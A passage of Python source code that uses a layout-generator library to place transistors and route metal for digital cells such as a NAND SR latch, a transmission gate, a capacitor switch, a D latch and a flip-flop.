laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip5.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0])+np.array([2,0]), refinstname=ip6.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in1.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip7.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in7.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['A', 'B', 'C', 'D', 'O'], rect_list=[ra0, rb0, rc0, rd0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_ndsr(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=np.array([0, 0]), m=2, create_pin=False):
"""generate nand type SR latch"""
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i0 = laygen.place("I"+objectname_pfix + 'ND0', "nand_"+str(m)+"x", pg, xy=origin)
i1 = laygen.relplace(name = "I"+objectname_pfix + 'ND1', templatename = "nand_"+str(m)+"x", gridname = pg, refinstname = i0.name)
i2 = laygen.relplace(name = "I"+objectname_pfix + 'INV0', templatename = "inv_"+str(m)+"x", gridname = pg, refinstname = i1.name)
i3 = laygen.relplace(name = "I"+objectname_pfix + 'INV1', templatename = "inv_"+str(m)+"x", gridname = pg, refinstname = i2.name)
# internal pins
nd0_a_xy = laygen.get_inst_pin_xy(i0.name, 'A', rg_m3m4)
nd0_b_xy = laygen.get_inst_pin_xy(i0.name, 'B', rg_m3m4)
nd0_o_xy = laygen.get_inst_pin_xy(i0.name, 'O', rg_m3m4)
nd1_a_xy = laygen.get_inst_pin_xy(i1.name, 'A', rg_m3m4)
nd1_b_xy = laygen.get_inst_pin_xy(i1.name, 'B', rg_m3m4)
nd1_o_xy = laygen.get_inst_pin_xy(i1.name, 'O', rg_m3m4)
buf0_i_xy = laygen.get_inst_pin_xy(i2.name, 'I', rg_m3m4)
buf0_o_xy = laygen.get_inst_pin_xy(i2.name, 'O', rg_m3m4)
buf1_i_xy = laygen.get_inst_pin_xy(i3.name, 'I', rg_m3m4)
buf1_o_xy = laygen.get_inst_pin_xy(i3.name, 'O', rg_m3m4)
#route
y0=nd0_a_xy[0][1]
#Q_pre
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], nd0_o_xy[1], buf0_i_xy[0], y0+2, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], nd0_o_xy[1], nd1_b_xy[0], y0+2, rg_m3m4)
#Qb_pre
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], nd1_o_xy[1], buf1_i_xy[0], y0+3, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], nd1_o_xy[1], nd0_b_xy[0], y0+3, rg_m3m4)
#pin
if create_pin == True:
laygen.pin(name='S', layer=laygen.layers['pin'][3], xy=nd0_a_xy, gridname=rg_m3m4)
laygen.pin(name='R', layer=laygen.layers['pin'][3], xy=nd1_a_xy, gridname=rg_m3m4)
laygen.pin(name='Q', layer=laygen.layers['pin'][3], xy=buf0_o_xy, gridname=rg_m3m4)
laygen.pin(name='QB', layer=laygen.layers['pin'][3], xy=buf1_o_xy, gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'ND0', 'VDD', rg_m2m3)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'INV1', 'VDD', rg_m2m3)
rvss0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'ND0', 'VSS', rg_m2m3)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'INV1', 'VSS', rg_m2m3)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
##Add by zhongkai
def generate_tgate_dn(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body, devname_pmos_space,
m=1, n=1, m_in=3, m_out=3, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m = max(1, int(m / 2)) # passgate size, using nf=2 devices
n = max(1, int(n / 2)) # pulldown size, using nf=2 devices
if m_in > m/2:
m_in = int(m/2) #input paths
if m_out > m/2:
m_out = int(m/2) #output_paths
# placement
in_space = laygen.place("I"+objectname_pfix+'NDMY', devname_nmos_space, pg, shape=np.array([2, 1]), xy=origin)
in0 = laygen.relplace(name = "I" + objectname_pfix + 'N0', templatename = devname_nmos_boundary, gridname = pg, refinstname = in_space.name)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name, shape=np.array([2, 1]))
in3 = laygen.relplace(name = "I"+objectname_pfix+'N3', templatename = devname_nmos_body, gridname = pg, refinstname = in2.name, shape=np.array([n, 1]))
in4 = laygen.relplace(name = "I"+objectname_pfix+'N4', templatename = devname_nmos_boundary, gridname = pg, refinstname = in3.name)
ip_space = laygen.relplace(name = "I"+objectname_pfix+'PDMY', templatename = devname_pmos_space, gridname = pg, refinstname = in_space.name, direction='top', transform='MX', shape=np.array([2, 1]))
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip_space.name, transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = 'pmos4_fast_space', gridname = pg, refinstname = ip2.name, shape=np.array([n+4,1]), transform='MX')
# route
#to vss
for i in range(n):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, -1]), gridname0=rg_m1m2,
refinstname0=in3.name, refpinname0='S0', refinstindex0=np.array([i, 0]),
refinstname1=in3.name, refpinname1='S0', refinstindex1=np.array([i, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in3.name, gridname=rg_m1m2, refinstindex=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, -1]), gridname0=rg_m1m2,
refinstname0=in3.name, refpinname0='S0', refinstindex0=np.array([n, 0]),
refinstname1=in3.name, refpinname1='S0', refinstindex1=np.array([n, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in3.name, gridname=rg_m1m2, refinstindex=np.array([n, 0]))
# en, enb
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-3, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-3, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-3, 0]), xy1=np.array([-3, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([-3, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-2, 0]), xy1=np.array([-2, 2]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.via(None, np.array([-2, 0]), refinstname=ip1.name, refpinname='G0', gridname=rg_m2m3)
# gate for pull down
in3_g0_xy = laygen.get_inst_pin_xy(in3.name, 'G0', rg_m2m3)
ip1_g0_xy = laygen.get_inst_pin_xy(ip1.name, 'G0', rg_m2m3)
laygen.route_vh(laygen.layers['metal'][1], laygen.layers['metal'][2], in3_g0_xy[0], ip1_g0_xy[0], rg_m1m2)
for i in range(n):
laygen.via(None, np.array([0, 0]), refinstname=in3.name, refpinname='G0', gridname=rg_m1m2, refinstindex=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in3.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in3.name, refpinname1='G0', refinstindex1=np.array([n-1, 0]))
#input
#input wire
for i in range(m_in):
rix = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='S0', refinstindex1=np.array([i, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
if create_pin == True:
laygen.pin(gridname=rg_m2m3, name='I_'+str(i), layer=laygen.layers['pin'][3], refobj=rix, netname='I')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
#connecting source
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
#output
#output wire
for i in range(m_out):
rox = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([m-1-i, 0]),
refinstname1=ip1.name, refpinname1='D0', refinstindex1=np.array([m-1-i, 0]))
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([m-1-i, 0]), gridname=rg_m2m3)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([m-1-i, 0]), gridname=rg_m2m3)
if create_pin == True:
laygen.pin(gridname=rg_m2m3, name='O_'+str(i), layer=laygen.layers['pin'][3], refobj=rox, netname='O')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
#connection for in3
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([m-1, 0]),
refinstname1=in3.name, refpinname1='D0', refinstindex1=np.array([n-1, 0]))
#connecting drain
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
#connection for in3
for i in range(n):
laygen.via(None, np.array([0, 1]), refinstname=in3.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = ip3.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip_space.name, refinstname1=ip3.name, refinstindex1=np.array([n+3, 0]))
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in_space.name, refinstname1=in4.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['EN', 'ENB'], rect_list=[ren0, renb0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_cap_sw(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body, devname_pmos_space,
m=1, origin=np.array([0,0]), create_pin=False):
#generate an nmos type switch
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I" + objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = 'pmos4_fast_space', gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = 'pmos4_fast_space', gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = 'pmos4_fast_space', gridname = pg, refinstname = ip1.name, transform='MX')
# route
# to ground
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, -1]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='S0', refinstindex1=np.array([i, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in1.name, gridname=rg_m1m2, refinstindex=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, -1]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='S1', refinstindex0=np.array([m-1, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.via(None, np.array([0, 0]), refinstname=in1.name, gridname=rg_m1m2, refinstindex=np.array([m, 0]))
# en, enb
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
#output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1+1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]), endstyle0='extend',
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]), endstyle1='extend')
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
ro=[]
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, -1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='D0', refinstindex1=np.array([i, 0]))
ro.append(ro0)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
ren0_pin_xy = laygen.get_xy(obj = ren0, gridname = rg_m3m4)
laygen.pin(name='EN', layer=laygen.layers['pin'][3], xy=ren0_pin_xy, gridname=rg_m3m4, netname='EN')
ro0_pin_xy = laygen.get_xy(obj = ro[0], gridname = rg_m3m4)
laygen.pin(name='VO', layer=laygen.layers['pin'][3], xy=ro0_pin_xy, gridname=rg_m3m4, netname='VO')
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_latch_2ck_strstbh(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,origin=np.array([0, 0]),
m=4, pin_clk_y=3, pin_clkb_y=2, route_mem_y=4, route_rstm_y=5, pin_o_y=6, create_pin=False):
"""generate D latch (complementary clock)"""
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i0 = laygen.place("I"+objectname_pfix + 'TINV0', "tinv_"+str(m)+"x", pg, xy=origin)
i2 = laygen.relplace(name = "I"+objectname_pfix + 'TGAT0', templatename = "tgate_2x", gridname = pg, refinstname = i0.name) #used minimum size
i3 = laygen.relplace(name = "I"+objectname_pfix + 'ND1', templatename = "nand_2x", gridname = pg, refinstname = i2.name) #used minimum size
i1 = laygen.relplace(name = "I"+objectname_pfix + 'ND0', templatename = "nand_"+str(m)+"x", gridname = pg, refinstname = i3.name)
# internal pins
tinv0_i_xy = laygen.get_inst_pin_xy(i0.name, 'I', rg_m3m4)
tinv0_en_xy = laygen.get_inst_pin_xy(i0.name, 'EN', rg_m3m4)
tinv0_enb_xy = laygen.get_inst_pin_xy(i0.name, 'ENB', rg_m3m4)
tinv0_o_xy = laygen.get_inst_pin_xy(i0.name, 'O', rg_m3m4)
nd0_a_xy = laygen.get_inst_pin_xy(i1.name, 'A', rg_m3m4)
nd0_b_xy = laygen.get_inst_pin_xy(i1.name, 'B', rg_m3m4)
nd0_o_xy = laygen.get_inst_pin_xy(i1.name, 'O', rg_m3m4)
tgate0_i_xy = laygen.get_inst_pin_xy(i2.name, 'I', rg_m3m4)
tgate0_en_xy = laygen.get_inst_pin_xy(i2.name, 'EN', rg_m3m4)
tgate0_enb_xy = laygen.get_inst_pin_xy(i2.name, 'ENB', rg_m3m4)
tgate0_o_xy = laygen.get_inst_pin_xy(i2.name, 'O', rg_m3m4)
nd1_a_xy = laygen.get_inst_pin_xy(i3.name, 'A', rg_m3m4)
nd1_b_xy = laygen.get_inst_pin_xy(i3.name, 'B', rg_m3m4)
nd1_o_xy = laygen.get_inst_pin_xy(i3.name, 'O', rg_m3m4)
#clk
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], tinv0_en_xy[0], tgate0_enb_xy[0], pin_clk_y, rg_m3m4)
rclk0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_en_xy[0][0], pin_clk_y]), xy1=np.array([tgate0_enb_xy[0][0], pin_clk_y]), gridname0=rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], tinv0_enb_xy[0], tgate0_en_xy[0], pin_clkb_y, rg_m3m4)
rclkb0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([tinv0_enb_xy[0][0], pin_clkb_y]), xy1=np.array([tgate0_en_xy[0][0], pin_clkb_y]), gridname0=rg_m3m4)
#storage node
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], np.array([tinv0_o_xy[0][0],route_mem_y]), np.array([tgate0_o_xy[0][0],route_mem_y]), route_mem_y, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], np.array([tgate0_o_xy[0][0],route_mem_y]), np.array([nd0_a_xy[0][0],route_mem_y]), route_mem_y, rg_m3m4)
#resetm node
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], np.array([nd1_o_xy[0][0],route_rstm_y]), np.array([tgate0_i_xy[0][0],route_rstm_y]), route_rstm_y, rg_m3m4)
#nd0 output to nd1 input
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], np.array([nd0_o_xy[0][0],pin_o_y]), np.array([nd1_a_xy[0][0],pin_o_y]), pin_o_y, rg_m3m4)
ro0=laygen.route(None, laygen.layers['metal'][4], xy0=np.array([nd0_o_xy[0][0], pin_o_y]), xy1=np.array([nd1_a_xy[0][0], pin_o_y]), gridname0=rg_m3m4)
#pin
if create_pin == True:
ri0_pin_xy=laygen.get_inst_pin_xy(name="I" + objectname_pfix + 'TINV0', pinname='I', gridname=rg_m3m4)
laygen.pin(name='I', layer=laygen.layers['pin'][3], xy=ri0_pin_xy, gridname=rg_m3m4)
laygen.pin(name='CLK', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = rclk0, gridname = rg_m3m4), gridname=rg_m3m4)
laygen.pin(name='CLKB', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = rclkb0, gridname = rg_m3m4), gridname=rg_m3m4)
laygen.pin(name='STB', layer=laygen.layers['pin'][3], xy=nd0_b_xy, gridname=rg_m3m4)
laygen.pin(name='RSTB', layer=laygen.layers['pin'][3], xy=nd1_b_xy, gridname=rg_m3m4)
laygen.pin(name='O', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = ro0, gridname = rg_m3m4), gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'TINV0', 'VDD', rg_m2m3)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'ND0', 'VDD', rg_m2m3)
rvss0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'TINV0', 'VSS', rg_m2m3)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'ND0', 'VSS', rg_m2m3)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
def generate_dff_strsth(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=np.array([0, 0]), m=4, create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i8 = laygen.place("I" + objectname_pfix + 'INV8', "inv_" + str(m) + "x", pg, xy=origin)
i9 = laygen.relplace(name = "I" + objectname_pfix + 'INV9', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i8.name)
i10= laygen.relplace(name = "I" + objectname_pfix + 'INV10', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i9.name) #stb
i11= laygen.relplace(name = "I" + objectname_pfix + 'INV11', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i10.name) #rstb
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'INV11'), gridname = pg)+ laygen.get_xy(obj = i10.template, gridname = pg) * np.array([1, 0])
generate_latch_2ck_strstbh(laygen, objectname_pfix+'LCH0', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=org, m=m, pin_clk_y=3, pin_clkb_y=2, route_mem_y=4, route_rstm_y = 8, pin_o_y=5, create_pin=False) ##These two lines use different position for clk and clkb
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'LCH0ND0'), gridname = pg)+ \
laygen.get_xy(obj = laygen.get_inst('I' + objectname_pfix + 'LCH0ND0').template, gridname = pg) * np.array([1, 0])
generate_latch_2ck_strstbh(laygen, objectname_pfix+'LCH1', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=org, m=m, pin_clk_y=2, pin_clkb_y=3, route_mem_y=4, route_rstm_y = 8, pin_o_y=5, create_pin=False)
#inverter coordinates
i8_i_xy = laygen.get_inst_pin_xy(i8.name, 'I', rg_m3m4)
i8_o_xy = laygen.get_inst_pin_xy(i8.name, 'O', rg_m3m4)
i9_i_xy = laygen.get_inst_pin_xy(i9.name, 'I', rg_m3m4)
i9_o_xy = laygen.get_inst_pin_xy(i9.name, 'O', rg_m3m4)
i10_i_xy = laygen.get_inst_pin_xy(i10.name, 'I', rg_m3m4)
i10_o_xy = laygen.get_inst_pin_xy(i10.name, 'O', rg_m3m4)
i11_i_xy = laygen.get_inst_pin_xy(i11.name, 'I', rg_m3m4)
i11_o_xy = laygen.get_inst_pin_xy(i11.name, 'O', rg_m3m4)
#Latch coordinate
ilch0_i_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0TINV0', 'I', rg_m3m4)
ilch0_ck_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0TINV0', 'EN', rg_m3m4)
ilch0_ckb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0TINV0', 'ENB', rg_m3m4)
ilch0_stb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND0', 'B', rg_m3m4) #set pin of latch 0
ilch0_rstb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND1', 'B', rg_m3m4) #reset pin of latch 0
ilch0_o_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND0', 'O', rg_m3m4)
ilch1_i_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1TINV0', 'I', rg_m3m4)
ilch1_ck_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1TINV0', 'EN', rg_m3m4)
ilch1_ckb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1TINV0', 'ENB', rg_m3m4)
ilch1_stb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND0', 'B', rg_m3m4) #set pin of latch 0
ilch1_rstb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND1', 'B', rg_m3m4) #reset pin of latch 1
ilch1_o_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND0', 'O', rg_m3m4)
# iclkb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i8_o_xy[0], i9_i_xy[0], 3, rg_m3m4)
